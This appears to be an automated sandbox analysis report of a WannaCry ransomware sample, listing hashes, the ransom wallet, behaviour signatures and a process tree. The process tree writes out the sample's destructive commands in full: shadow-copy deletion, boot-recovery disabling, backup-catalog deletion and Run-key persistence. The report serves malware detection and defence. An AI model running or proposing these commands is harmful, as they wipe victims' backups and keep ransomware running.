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210303-eg4g1z4wd2 10Analysis
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max time kernel
147s -
max time network
119s -
platform
windows7_x64 -
resource
win7 -
submitted
24-07-2020 15:21
Static task
static1
Behavioral task
behavioral1
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7
Behavioral task
behavioral2
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10v200722
General
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Target
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
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Size
3.4MB
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MD5
84c82835a5d21bbcf75a61706d8ab549
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SHA1
5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
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SHA256
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
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SHA512
90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\@[email protected]
wannacry
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
Signatures
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Suspicious use of WriteProcessMemory 104 IoCs
description pid Process procid_target PID 1124 wrote to memory of 1272 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 24 PID 1124 wrote to memory of 1272 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 24 PID 1124 wrote to memory of 1272 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 24 PID 1124 wrote to memory of 1272 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 24 PID 1124 wrote to memory of 612 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 25 PID 1124 wrote to memory of 612 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 25 PID 1124 wrote to memory of 612 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 25 PID 1124 wrote to memory of 612 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 25 PID 1124 wrote to memory of 1792 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 1124 wrote to memory of 1792 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 1124 wrote to memory of 1792 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 1124 wrote to memory of 1792 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 28 PID 1124 wrote to memory of 1808 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 29 PID 1124 wrote to memory of 1808 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 29 PID 1124 wrote to memory of 1808 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 29 PID 1124 wrote to memory of 1808 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 29 PID 1808 wrote to memory of 1180 1808 cmd.exe 31 PID 1808 wrote to memory of 1180 1808 cmd.exe 31 PID 1808 wrote to memory of 1180 1808 cmd.exe 31 PID 1808 wrote to memory of 1180 1808 cmd.exe 31 PID 1124 wrote to memory of 1864 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 33 PID 1124 wrote to memory of 1864 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 33 PID 1124 wrote to memory of 1864 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 33 PID 1124 wrote to memory of 1864 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 33 PID 1124 wrote to memory of 1868 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 34 PID 1124 wrote to memory of 1868 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 34 PID 1124 wrote to memory of 1868 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 34 PID 1124 wrote to memory of 1868 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 34 PID 1868 wrote to memory of 1976 1868 cmd.exe 36 PID 1868 wrote to memory of 1976 1868 cmd.exe 36 PID 1868 wrote to memory of 1976 1868 cmd.exe 36 PID 1868 wrote to memory of 1976 1868 cmd.exe 36 PID 1864 wrote to memory of 2040 1864 @[email protected] 38 PID 1864 wrote to memory of 2040 1864 @[email protected] 38 PID 1864 wrote to memory of 2040 1864 @[email protected] 38 PID 1864 wrote to memory of 2040 1864 @[email protected] 38 PID 1976 wrote to memory of 1824 1976 @[email protected] 40 PID 1976 wrote to memory of 1824 1976 @[email protected] 40 PID 1976 wrote to memory of 1824 1976 @[email protected] 40 PID 1976 wrote to memory of 1824 1976 @[email protected] 40 PID 1824 wrote to memory of 1636 1824 cmd.exe 42 PID 1824 wrote to memory of 1636 1824 cmd.exe 42 PID 1824 wrote to memory of 1636 1824 cmd.exe 42 PID 1824 wrote to memory of 1636 1824 cmd.exe 42 PID 1824 wrote to memory of 1064 1824 cmd.exe 44 PID 1824 wrote to memory of 1064 1824 cmd.exe 44 PID 1824 wrote to memory of 1064 1824 cmd.exe 44 PID 1824 wrote to memory of 1064 1824 cmd.exe 44 PID 1124 wrote to memory of 1960 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 46 PID 1124 wrote to memory of 1960 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 46 PID 1124 wrote to memory of 1960 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 46 PID 1124 wrote to memory of 1960 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 46 PID 1124 wrote to memory of 1924 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 47 PID 1124 wrote to memory of 1924 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 47 PID 1124 wrote to memory of 1924 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 47 PID 1124 wrote to memory of 1924 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 47 PID 1124 wrote to memory of 2020 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 48 PID 1124 wrote to memory of 2020 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 48 PID 1124 wrote to memory of 2020 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 48 PID 1124 wrote to memory of 2020 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 48 PID 1124 wrote to memory of 1416 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 49 PID 1124 wrote to memory of 1416 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 49 PID 1124 wrote to memory of 1416 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 49 PID 1124 wrote to memory of 1416 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 49 PID 1416 wrote to memory of 1044 1416 cmd.exe 51 PID 1416 wrote to memory of 1044 1416 cmd.exe 51 PID 1416 wrote to memory of 1044 1416 cmd.exe 51 PID 1416 wrote to memory of 1044 1416 cmd.exe 51 PID 1124 wrote to memory of 1828 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 54 PID 1124 wrote to memory of 1828 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 54 PID 1124 wrote to memory of 1828 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 54 PID 1124 wrote to memory of 1828 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 54 PID 1124 wrote to memory of 1764 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 55 PID 1124 wrote to memory of 1764 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 55 PID 1124 wrote to memory of 1764 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 55 PID 1124 wrote to memory of 1764 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 55 PID 1124 wrote to memory of 1176 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 56 PID 1124 wrote to memory of 1176 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 56 PID 1124 wrote to memory of 1176 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 56 PID 1124 wrote to memory of 1176 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 56 PID 1124 wrote to memory of 1636 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 58 PID 1124 wrote to memory of 1636 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 58 PID 1124 wrote to memory of 1636 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 58 PID 1124 wrote to memory of 1636 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 58 PID 1124 wrote to memory of 1428 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 59 PID 1124 wrote to memory of 1428 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 59 PID 1124 wrote to memory of 1428 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 59 PID 1124 wrote to memory of 1428 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 59 PID 1124 wrote to memory of 860 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 60 PID 1124 wrote to memory of 860 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 60 PID 1124 wrote to memory of 860 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 60 PID 1124 wrote to memory of 860 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 60 PID 1124 wrote to memory of 1840 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 61 PID 1124 wrote to memory of 1840 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 61 PID 1124 wrote to memory of 1840 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 61 PID 1124 wrote to memory of 1840 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 61 PID 1124 wrote to memory of 1820 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 62 PID 1124 wrote to memory of 1820 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 62 PID 1124 wrote to memory of 1820 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 62 PID 1124 wrote to memory of 1820 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 62 PID 1124 wrote to memory of 1620 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 63 PID 1124 wrote to memory of 1620 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 63 PID 1124 wrote to memory of 1620 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 63 PID 1124 wrote to memory of 1620 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 63 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2020 @[email protected] -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe Set value (str) \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" @[email protected] -
JavaScript code in executable 5 IoCs
resource yara_rule behavioral1/files/0x000300000001336a-62.dat js behavioral1/files/0x000300000001336a-63.dat js behavioral1/files/0x000300000001336a-65.dat js behavioral1/files/0x0003000000013361-72.dat js behavioral1/files/0x0003000000013361-73.dat js -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies service 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1044 reg.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 612 icacls.exe -
Executes dropped EXE 16 IoCs
pid Process 1792 taskdl.exe 1864 @[email protected] 1976 @[email protected] 2040 taskhsvc.exe 1960 taskdl.exe 1924 taskse.exe 2020 @[email protected] 1828 taskdl.exe 1764 taskse.exe 1176 @[email protected] 1636 taskdl.exe 1428 taskse.exe 860 @[email protected] 1840 taskdl.exe 1820 taskse.exe 1620 @[email protected] -
Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 1976 @[email protected] 1864 @[email protected] 1864 @[email protected] 1976 @[email protected] 2020 @[email protected] 2020 @[email protected] 1176 @[email protected] 860 @[email protected] 1620 @[email protected] -
Suspicious use of AdjustPrivilegeToken 51 IoCs
description pid Process Token: SeBackupPrivilege 520 vssvc.exe Token: SeRestorePrivilege 520 vssvc.exe Token: SeAuditPrivilege 520 vssvc.exe Token: SeIncreaseQuotaPrivilege 1064 WMIC.exe Token: SeSecurityPrivilege 1064 WMIC.exe Token: SeTakeOwnershipPrivilege 1064 WMIC.exe Token: SeLoadDriverPrivilege 1064 WMIC.exe Token: SeSystemProfilePrivilege 1064 WMIC.exe Token: SeSystemtimePrivilege 1064 WMIC.exe Token: SeProfSingleProcessPrivilege 1064 WMIC.exe Token: SeIncBasePriorityPrivilege 1064 WMIC.exe Token: SeCreatePagefilePrivilege 1064 WMIC.exe Token: SeBackupPrivilege 1064 WMIC.exe Token: SeRestorePrivilege 1064 WMIC.exe Token: SeShutdownPrivilege 1064 WMIC.exe Token: SeDebugPrivilege 1064 WMIC.exe Token: SeSystemEnvironmentPrivilege 1064 WMIC.exe Token: SeRemoteShutdownPrivilege 1064 WMIC.exe Token: SeUndockPrivilege 1064 WMIC.exe Token: SeManageVolumePrivilege 1064 WMIC.exe Token: 33 1064 WMIC.exe Token: 34 1064 WMIC.exe Token: 35 1064 WMIC.exe Token: SeIncreaseQuotaPrivilege 1064 WMIC.exe Token: SeSecurityPrivilege 1064 WMIC.exe Token: SeTakeOwnershipPrivilege 1064 WMIC.exe Token: SeLoadDriverPrivilege 1064 WMIC.exe Token: SeSystemProfilePrivilege 1064 WMIC.exe Token: SeSystemtimePrivilege 1064 WMIC.exe Token: SeProfSingleProcessPrivilege 1064 WMIC.exe Token: SeIncBasePriorityPrivilege 1064 WMIC.exe Token: SeCreatePagefilePrivilege 1064 WMIC.exe Token: SeBackupPrivilege 1064 WMIC.exe Token: SeRestorePrivilege 1064 WMIC.exe Token: SeShutdownPrivilege 1064 WMIC.exe Token: SeDebugPrivilege 1064 WMIC.exe Token: SeSystemEnvironmentPrivilege 1064 WMIC.exe Token: SeRemoteShutdownPrivilege 1064 WMIC.exe Token: SeUndockPrivilege 1064 WMIC.exe Token: SeManageVolumePrivilege 1064 WMIC.exe Token: 33 1064 WMIC.exe Token: 34 1064 WMIC.exe Token: 35 1064 WMIC.exe Token: SeTcbPrivilege 1924 taskse.exe Token: SeTcbPrivilege 1924 taskse.exe Token: SeTcbPrivilege 1764 taskse.exe Token: SeTcbPrivilege 1764 taskse.exe Token: SeTcbPrivilege 1428 taskse.exe Token: SeTcbPrivilege 1428 taskse.exe Token: SeTcbPrivilege 1820 taskse.exe Token: SeTcbPrivilege 1820 taskse.exe -
Wannacry
WannaCry is a ransomware cryptoworm.
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Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\pzkqrqnhucon571 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run reg.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Loads dropped DLL 39 IoCs
pid Process 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1180 cscript.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1868 cmd.exe 1868 cmd.exe 1864 @[email protected] 1864 @[email protected] 2040 taskhsvc.exe 2040 taskhsvc.exe 2040 taskhsvc.exe 2040 taskhsvc.exe 2040 taskhsvc.exe 2040 taskhsvc.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1124 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2040 taskhsvc.exe 2040 taskhsvc.exe 2040 taskhsvc.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1636 vssadmin.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1272 attrib.exe -
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD8EE.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD920.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"1⤵
- Suspicious use of WriteProcessMemory
- Sets desktop wallpaper using registry
- Loads dropped DLL
- Drops startup file
PID:1124 -
C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
PID:1272
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C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:612
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1792
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C:\Windows\SysWOW64\cmd.execmd /c 170351595604106.bat2⤵
- Suspicious use of WriteProcessMemory
PID:1808 -
C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵
- Loads dropped DLL
PID:1180
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C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Loads dropped DLL
PID:1864 -
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2040
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C:\Windows\SysWOW64\cmd.execmd.exe /c start /b @[email protected] vs2⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
PID:1868 -
C:\Users\Admin\AppData\Local\Temp\@[email protected]3⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1976 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
PID:1636
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1064
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1960
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1924
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C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Sets desktop wallpaper using registry
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2020
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C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pzkqrqnhucon571" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f2⤵PID:1416
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C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pzkqrqnhucon571" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f3⤵
- Modifies registry key
- Adds Run key to start application
PID:1044
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1828
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1764
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1176
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1636
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1428
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:860
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1840
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1820
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1620
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:520